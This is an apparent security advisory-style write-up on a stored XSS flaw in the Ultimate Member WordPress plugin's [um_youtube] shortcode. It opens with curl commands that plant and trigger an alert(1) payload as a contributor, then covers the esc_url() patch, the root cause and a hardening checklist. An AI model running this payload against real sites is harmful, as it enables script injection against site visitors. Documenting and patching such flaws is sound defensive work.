The Exploit
Attacker needs authenticated Contributor-level access or higher to store a malicious Ultimate Member shortcode payload.
## store payload
curl -i -X POST "https://TARGET/wp-json/wp/v2/posts" \
-H "Authorization: Bearer CONTRIBUTOR_TOKEN" \
-H "Content-Type: application/json" \
-d '{"title":"XSS test","content":"[um_youtube url='\''foo\"><script>alert(1)</script>'\'']","status":"publish"}'
## trigger payload
curl -i "https://TARGET/?p=123"
The first request creates a page/post containing the vulnerable [um_youtube] shortcode with a crafted url attribute. The second request loads the rendered page and will return HTML where the injected <script>alert(1)</script> appears in the response, demonstrating stored XSS.
What the Patch Did
Before:
$value = '<div class="um-youtube">'
. '<iframe width="600" height="450" src="https://www.youtube.com/embed/' . $value . '" frameborder="0" allowfullscreen></iframe>'
. '</div>';
$value = '<div class="um-vimeo">
<iframe src="https://player.vimeo.com/video/' . $value . '" width="600" height="450" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>
</div>';
$value = '<div class="um-googlemap">
<iframe width="600" height="450" frameborder="0" style="border:0" src="https://maps.google.it/maps?q=' . urlencode( $value ) . '&output=embed"></iframe>
</div>';
After:
$value = 'https://www.youtube.com/embed/' . $value;
$value = '<div class="um-youtube">'
. '<iframe width="600" height="450" src="' . esc_url( $value ) . '" frameborder="0" allowfullscreen></iframe>'
. '</div>';
$value = 'https://player.vimeo.com/video/' . $value;
$value = '<div class="um-vimeo">
<iframe src="' . esc_url( $value ) . '" width="600" height="450" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>
</div>';
$value = 'https://maps.google.it/maps?q=' . urlencode( $value ) . '&output=embed';
$value = '<div class="um-googlemap">
<iframe width="600" height="450" frameborder="0" style="border:0" src="' . esc_url( $value ) . '"></iframe>
</div>';
The patch adds esc_url() around the dynamically constructed iframe src values. This is a WordPress output-escaping control that prevents untrusted shortcode values from breaking the HTML attribute context.
Root Cause
This is a stored XSS bug (CWE-79) in includes/core/um-filters-fields.php where attacker-controlled shortcode attribute data flows into the $value variable and is directly inserted into an iframe src attribute. The dangerous boundary is the shortcode parser accepting user-supplied values, and the sink is the generated HTML output for YouTube, Vimeo, and Google Maps embeds. No proper output escaping was applied before emitting the final src attribute, so a malicious attribute like foo"><script>alert(1)</script> closes the attribute and injects script into the rendered page.
Why It Works
The load-bearing fix is the esc_url( $value ) call. Without it, the iframe src still contains attacker-controlled text and remains exploitable. The other patch lines simply assemble the full embed URL string before escaping; they ensure esc_url() is applied to the final URL rather than just the raw shortcode fragment. For Google Maps, urlencode() already encoded the query, but it was not enough alone to defend output; esc_url() is the necessary escaping step that closes the XSS hole.
Hardening Checklist
- Always escape dynamic URL output with
esc_url()before injecting it into HTML attributes. - Sanitize shortcode attributes on intake using
shortcode_atts()combined withsanitize_text_field()orwp_filter_nohtml_kses(). - When rendering user-provided HTML, prefer
wp_kses_post()or a customwp_kses()policy to strip dangerous tags/attributes. - Restrict embed sources using URL validation functions like
wp_http_validate_url()or domain whitelisting before constructing iframe URLs. - Keep presentation and input sanitization separate: sanitize on input and escape on output.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-13220